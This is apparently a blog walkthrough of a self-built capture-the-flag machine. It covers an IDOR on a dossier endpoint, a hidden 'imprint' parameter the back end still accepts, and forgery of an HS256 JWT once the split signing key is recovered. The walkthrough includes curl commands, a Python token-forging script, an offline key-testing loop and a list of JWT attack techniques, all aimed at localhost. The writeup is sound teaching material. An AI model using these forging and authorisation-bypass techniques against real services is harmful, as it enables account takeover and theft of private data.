13 min read

Hacker Mystery Box #003: The Unlit City Hero Roll — A Night Seal Was Never a Pass (Custom Machine)

Hacker Mystery Box #003: The Unlit City Hero Roll — A Night Seal Was Never a Pass (Custom Machine)
📚 Series · Hacker Blind Box · Custom Vulnerable Machines
  1. #001 Yunhai Sword Sect — JWT key leak via source map
  2. #002 Listening Rain Inn — NoSQL injection & XFF bypass
  3. ▸ #003 The Unlit City — JWT forgery & IDOR (this post)
Difficulty: Medium (★★★☆☆)

Preface: What's in This Box

This is the third box in the "Hacker Mystery Box" series and the third chapter of the Cloud Sea Sword Sect arc. Like the others, it has been through a codex review — download it and play~

After the Rain Gate of chapter two, the sect master's handwritten note points to a border town that never lights a single lamp. This box is called the Unlit City — no lamps burn there, because every light would end up bearing witness against someone.

Same two-track format as before: the solving sections use "we", the design commentary switches back to "I". If you haven't played it yet, read as far as "Setting Up the Environment" and then close the tab.

1. Setting Up the Environment

unzip wuxia-05-wudengcheng.zip
cd wuxia-05-wudengcheng
docker compose up --build -d

Once it's running, open your browser at:

http://127.0.0.1:8085/

Once you're inside, press h for the hints page. Three hints, one per gate. Flipping to them when you're stuck doesn't count as cheating.

I built a /hints page for this box specifically; the first two didn't have one.

The reason is that this chapter's two side branches can be tackled in any order, and it's very easy to jam on one of them and not realise you should switch tracks. I kept the hints deliberately restrained — they only say "where to look", never "what to send", so the final piece of reasoning stays yours.

2. A Hollow Homepage: Every Clue Lives in app.js

The homepage is only 561 bytes, and the body is empty:

<div class="site-shell" id="app" aria-live="polite"></div>
<noscript>這座城需要一點 JavaScript,才看得見雨裡的墨跡。</noscript>
<script src="/app.js" defer></script>

In the first two boxes the narrative and the forms were written straight into the HTML. Here everything is rendered by JS, so step one isn't directory brute-forcing — it's reading the front-end code end to end:

curl -sS http://127.0.0.1:8085/app.js -o app.js
wc -l app.js   # 263 lines

263 lines later, we have the endpoint list:

Endpoint Purpose
POST /api/session Enter the city; issues an identity cookie
GET /api/me Who am I
GET /api/roster The city entry roster
GET /api/dossiers/{ref} Read a dossier
GET /api/memory/{ref}?layer= Read the memory wall
GET /api/night-judge/rules The judge's rules of court
GET /api/night-judge/verdict The verdict (the flag is here)

First, enter the city. Identity in this box rides on a cookie, and curl neither stores nor sends cookies by default, so we need a cookie jar:

C=/tmp/wudeng.jar
B=http://127.0.0.1:8085
J() { python3 -m json.tool --no-ensure-ascii; }   # keep CJK readable, not \uXXXX

curl -sS -c $C -X POST $B/api/session -H 'Content-Type: application/json' -d '{}' | J
curl -sS -b $C -c $C $B/api/me | J
{
  "display": "沈小石",
  "office": "wanderer",
  "dossierId": "17",
  "seal": "雨紋銅牌"
}

office: wanderer — remember this field, it's the bullseye of the final gate.

Making the homepage a hollow SPA is this box's first filter.

In the first two boxes you could curl the index page and read the story right off it. Not here — you have to first realise that "the content all lives in the JS" before you can go anywhere. What this step filters out isn't skill, it's habit: plenty of people attack a site by brute-forcing directories and never reading the front end, when a modern web app's route table, parameter names, and even unshipped features are all lying there in that bundle.

3. Gate One: The Private Dossier

Hint one: "The dossier numbers in the roster aren't decoration; your own dossier already demonstrates the lookup format."

Start with the roster:

curl -sS -b $C -c $C $B/api/roster | J
Name Title Status dossier_ref visibility
Shen Xiaoshi Outsider Admitted 17 open
Gu Wei Lamp Scribe Missing since the third watch 41 private
Ye Zhaochuan Witness to the Nameless Roll Name has faded null sealed

The footnote reads: "Dossier numbers are for the Registry Office to look up; dossier permissions are judged separately, by seal."

Now our own dossier, which conveniently confirms the lookup format:

curl -sS -b $C -c $C "$B/api/dossiers/17" | J

The response contains a line reading "route_hint": "/api/dossiers/{ref}", and the footnote spells it out too: "the Registry Office consults the ledger via /api/dossiers/{dossier number}."

At this point the whole deduction fits into one sentence: the roster handed me Gu Wei's number, 41 — so what happens if I swap 17 for 41?

curl -sS -b $C -c $C "$B/api/dossiers/41" | J

It opens right up. The server never once asks whether the file is ours.

{
  "classification": "私人卷宗・甲字封存",
  "owner": "顧微(抄燈吏)",
  "seal": "封蠟已裂",
  "notes": [
    "其最後一次巡查留在記憶牆:ember-726。",
    "守牆工把公示層與修復層共用同一介面;尋常人只看得到表面。",
    "封面背後殘留四筆灰墨:ashes-9f2a。"
  ],
  "memory_ref": "ember-726",
  "seal_fragment": { "position": "末筆", "value": "ashes-9f2a" }
}

First piece of evidence secured, and it brings three things with it:

  • ember-726 — the entrance to gate two
  • ashes-9f2a — a string of unknown provenance, with position marked "final stroke"
  • "the wall keepers made the public layer and the restoration layer share one interface" — a mechanism hint for gate two
Here I deliberately wrote "authorisation" and "data lookup" as two separate things, and the roster footnote — "dossier numbers are for the Registry Office to look up; dossier permissions are judged separately, by seal" — is describing exactly that structure.

Real-world IDOR almost always looks like this: the query function is written perfectly correctly, the permission check lives somewhere else — and then one path forgets to wire the two together. It's rarely "we forgot to do authorisation"; it's usually "authorisation exists, but this route never goes through it."

4. Gate Two: The Memory Wall

Hint two: "The memory wall's front end still keeps a reading mode the ordinary interface never uses."

Line 8 of app.js:

const WALL_LAYERS = Object.freeze(["surface", "imprint"]);

Two layers are declared. Now look at how it actually gets used:

const layer = query.get("layer") || WALL_LAYERS[0];

Only [0] is ever used — that is, surface. The imprint sitting in that array is never called, anywhere.

Add the line from dossier 41 — "the wall keepers made the public layer and the restoration layer share one interface" — and the answer is written all over its face.

curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=surface" | J
{"text": "【已覆蓋】此張舊紙經巡夜司核定,不再公開。新帖覆於其上,字跡已不可辨。"}

Swap in imprint:

curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=imprint" | J
{
  "recovered": {
    "witness": "葉照川不是被逐出英雄帖;他是第一個發現帖上姓名被替換的人。",
    "seal_root": "listen-rain-bell",
    "judge_claim": { "field": "office", "value": "night_judge" },
    "assembly": "雨聲根詞與私人卷宗的末筆灰墨,以冒號相接,才是能讓判官認得的夜印。"
  }
}

Second piece of evidence secured — and it doubles as the spec sheet for the back half of the box:

  • listen-rain-bell — another string, in a field called seal_root (the root word)
  • the judge wants the office field to equal night_judge
  • the two strings are joined with a colon
Object.freeze was a deliberate choice on my part.

If I had written just const WALL_LAYERS = ["surface", "imprint"], players might read it as debris somebody forgot to delete. Freezing it, writing both values in, and then using only the first — that combination says "this was defined on purpose, the front end simply doesn't use it any more."

This is also the core idea I want to teach: front-end restrictions have never been a security mechanism. A button you can't click, a dropdown missing that option, a value in the code that's never called — all of those only mean the interface doesn't expose it. Whatever the back end ought to block, it still has to block itself.

5. Gate Three: First, Look at Why the Judge Refuses

curl -sS -b $C -c $C "$B/api/night-judge/rules" | J
curl -sSi -b $C -c $C "$B/api/night-judge/verdict"
{"title": "巡夜判官・開堂規矩",
 "text": "判官不問來者姓名,只驗夜印是否完整,再看城冊所載職司。",
 "current_office": "wanderer"}
HTTP/1.1 403 Forbidden
{"error":"梆聲未歇。此枚夜印尚非巡夜判官所持。","current_office":"wanderer"}

The rules are explicit: the judge checks two things — whether the night seal is intact, and the office recorded in the city ledger. Our office right now is wanderer, and the imprint layer says it needs to be night_judge.

6. The Wrong Turn I Took

Holding listen-rain-bell and ashes-9f2a, and reading "joined with a colon", my first instinct was — this is a pass.

In the context of HTTP authentication, an A:B colon format carries a very strong suggestion: Basic Auth is literally username:password run through base64. So I treated it as a credential and fired off four different ways of sending it in one go:

NS='listen-rain-bell:ashes-9f2a'
curl -sS -b $C -H "X-Night-Seal: $NS"        "$B/api/night-judge/verdict"
curl -sS -b $C -H "Authorization: Bearer $NS" "$B/api/night-judge/verdict"
curl -sS -b $C                                "$B/api/night-judge/verdict?seal=$NS"
curl -sS -b $C -H "Cookie: night_seal=$NS"    "$B/api/night-judge/verdict"

All four responses came back identical, with current_office nailed firmly to wanderer.

That failure is actually the answer. The reasoning goes like this:

If the server were reading anything I sent, then across four completely different delivery methods at least one response ought to differ — a different length, a different error message, a different status code. All identical means it isn't looking at what I send at all.

And since current_office is unaffected by anything I send, that value comes from somewhere I haven't touched yet.

So the "it's a pass" hypothesis is ruled out. That string is for something else, and office lives somewhere else.

I expected players to walk into this when I was designing it.

The colon-format misdirection is deliberate — I want players to experience the gap between "what something looks like" and "what it actually is". Shape lies. Behaviour doesn't. Whether a string is a credential or a key can't be judged from its appearance; you have to see which role it actually works in.

And "four delivery methods, four identical responses" is itself information. This is the observational habit I hope players take away: if a failed experiment fails very tidily, the tidiness is the clue.

7. The Night Seal Is Actually a Key

Since office isn't affected by anything we send, let's go back and look at what the server gave us when we entered the city:

Set-Cookie: wudeng_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im5pZ2h0LXNlYWwtdjEifQ.eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciIsLi4ufQ.hSNbFgy4...

It's a JWT, and its first two segments are merely base64-encoded, not encrypted — anyone can read them straight off:

echo 'eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciJ9' | base64 -d
// header
{"alg":"HS256", "typ":"JWT", "kid":"night-seal-v1"}
// payload
{"sub":"shen-xiaoshi", "display":"沈小石", "office":"wanderer", "dossierId":"17", ...}

office is right there inside it. This cookie is exactly what the judge reads.

So can we just edit it? No — the third segment is the signature. The server computes an HMAC over the first two segments using a key only it knows. Change the payload and the signature no longer matches.

Unless you have that key.

And then there's this field in the header:

"kid": "night-seal-v1"

In the JWT spec, kid is the Key ID — the name of the key. And night-seal is a straight translation of the story's night seal.

Three clues converge here:

  1. kid names a key called night-seal-v1
  2. the whole gate's narrative keeps talking about the night seal — the judge "only verifies whether the night seal is intact", and the rejection message says "this night seal is not yet held by the Night Watch Judge"
  3. that line from the imprint layer, "only then is it a night seal the judge will recognise", translated into technical language, means "a signature that passes verification"

The night seal isn't a pass, it's a signing key — and it has been split in half:

listen-rain-bell  :  ashes-9f2a
   ↑ root word (gate 2)  ↑colon  ↑ final stroke (gate 1)

You don't even have to guess the order — the "root" in seal_root means root, the beginning; and the position field of seal_fragment says outright "末筆", the final stroke.

8. Signing Our Own Night Seal

With the key in hand, the rest is mechanical. Copy the original header verbatim (keep kid — the server uses it to pick the key), and change only office in the payload:

import base64, hmac, hashlib, json, time

KEY = b"listen-rain-bell:ashes-9f2a"
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',',':'), ensure_ascii=False).encode())

now = int(time.time())
h = {"alg":"HS256","typ":"JWT","kid":"night-seal-v1"}
p = {"sub":"shen-xiaoshi","display":"沈小石","office":"night_judge",
     "dossierId":"17","iat":now,"exp":now+3600}

msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(KEY, msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")

Send the forged ID card over as a cookie:

FORGED='<the token printed above>'
curl -sS -H "Cookie: wudeng_session=$FORGED" "$B/api/night-judge/verdict" | J

The server verifies the signature with night-seal-v1 — and it passes, because that's the very same key. So it trusts the payload, sees office: night_judge, and opens court.

Addendum: What If You Didn't Catch the "Joined With a Colon" Part

In the real world nobody tells you how to assemble it — but a key can be proven, no guessing needed:

import hmac, hashlib, base64

token = "<the real token the server issued you>"
msg, sig = token.rsplit(".", 1)

def test(key):
    calc = base64.urlsafe_b64encode(
        hmac.new(key.encode(), msg.encode(), hashlib.sha256).digest()
    ).rstrip(b"=").decode()
    return calc == sig

for k in ["listen-rain-bell:ashes-9f2a", "listen-rain-bell-ashes-9f2a",
          "ashes-9f2a:listen-rain-bell", "listen-rain-bellashes-9f2a"]:
    print("✅" if test(k) else "❌", k)

The principle: you're holding a genuine token the server signed, complete with the first two segments and the signature. Recompute with a candidate key, and if what you get matches the real signature, that key is the right one.

This verification happens entirely on your own machine — the server has no idea, there's no rate limit, and you can try hundreds of millions of candidates. Weak-secret cracking with hashcat or jwt_tool is nothing more than running this loop a great many times.

9. The Full Attack Chain

POST /api/session  →  get a JWT cookie (office: wanderer)
        │
        ├──────────────────────┬──────────────────────
        ▼                      ▼
  GET /api/roster        app.js line 8
  someone else's ref: 41  WALL_LAYERS freezes imprint, never uses it
        │                      │
        ▼                      ▼
  GET /api/dossiers/41   GET /api/memory/ember-726?layer=imprint
  ← IDOR                 ← the unused param value still works
        │                      │
        ▼                      ▼
   ashes-9f2a            listen-rain-bell
   (final stroke)        (root word) + judge_claim: office=night_judge
        │                      │
        └──────────┬───────────┘
                   ▼
        listen-rain-bell:ashes-9f2a
        = the key named by kid "night-seal-v1" in the JWT header
                   ▼
        self-sign a JWT with office=night_judge
                   ▼
        GET /api/night-judge/verdict  →  🚩 flag

10. Vulnerability Breakdown: Three Streams Converging

Gate One: IDOR

/api/dossiers/41 hands over someone else's private dossier outright. The system checked "are you logged in" and never checked "is this yours".

This is number one on the OWASP API Security Top 10 (BOLA / Broken Object Level Authorization), and the most common bug class in practice. It's so hard to stamp out because the permission check usually lives somewhere else, and all it takes is one query path that forgets to hook into it — and a mid-sized API has hundreds of paths.

Testing for this class of bug is crude but effective: take account A's token and use it to read account B's resource IDs. If it comes back, that's BOLA.

Gate Two: The Feature Was Retired, the Interface Wasn't

The front end freezes imprint and no longer calls it, but the back end still accepts it — the same disease as the abandoned schema endpoint in box two.

Real-world equivalents: a /swagger.json nobody turned off, GraphQL introspection, /actuator/env, legacy /v1/ routes, form fields hidden by the UI but still accepted by the server. "The front end doesn't send it" is not the same as "the back end doesn't accept it" — and attackers never use your front end anyway.

Gate Three: Key Leak → JWT Forgery

Getting hold of the HMAC key is getting hold of the server's own seal. You can sign any payload you like, and the server will believe it one hundred percent — because the signature is genuine.

While we're here, the four major JWT attack surfaces; this box uses the first one:

  1. Key leakage / weak keys — scooped out of a source map, Git history, or logs, or the key is simply secret or your-256-bit-secret, a value straight out of the docs that hashcat cracks in seconds
  2. alg: none — the spec allows "no signature required", and older libraries don't block it
  3. Algorithm confusion (RS256 → HS256) — feeding the public key in as the HMAC secret
  4. kid injectionkid is an attacker-controlled string; if it ends up as a file path or spliced into SQL, it turns into LFI or SQLi
I split the key in half because I wanted to demonstrate one thing: the value of an attack chain is not the sum of its links.

The ashes-9f2a from the IDOR means nothing on its own, and neither does the listen-rain-bell from imprint. Fix either vulnerability and the other half is forever just a meaningless string. But when both exist, they multiply into a complete identity-forgery capability.

This is also the hardest thing to communicate in a pentest report. Reported separately, both are Medium, and developers understandably feel "no rush". Reported as a chain, it's Critical. Per-issue severity scoring systematically underestimates attack chains — and real intrusions are almost always chains.

Closing

What I wanted to teach with this box is convergence.

Chapter one taught "reading" — the clues are written into the narrative, and you have to be willing to read every last line of atmosphere. Chapter two taught "chaining" — three small flaws joined into a single road. This chapter teaches: some keys are never left whole in one place. They're broken apart and hidden in two corners that have nothing to do with each other.

One more thing: that colon-format misdirection wasn't a prank. Something that looks like Basic Auth may be a key, and something that looks like line noise may be a session ID — shape can't tell you purpose. Only behaviour can.

The first lamp in the city is lit. The faint ink at the end of the roll says there is more than one Unlit City out there in the jianghu.

This is a writeup for a machine I built myself. The box is for local study only; please don't use anything described here against targets you aren't authorised to test.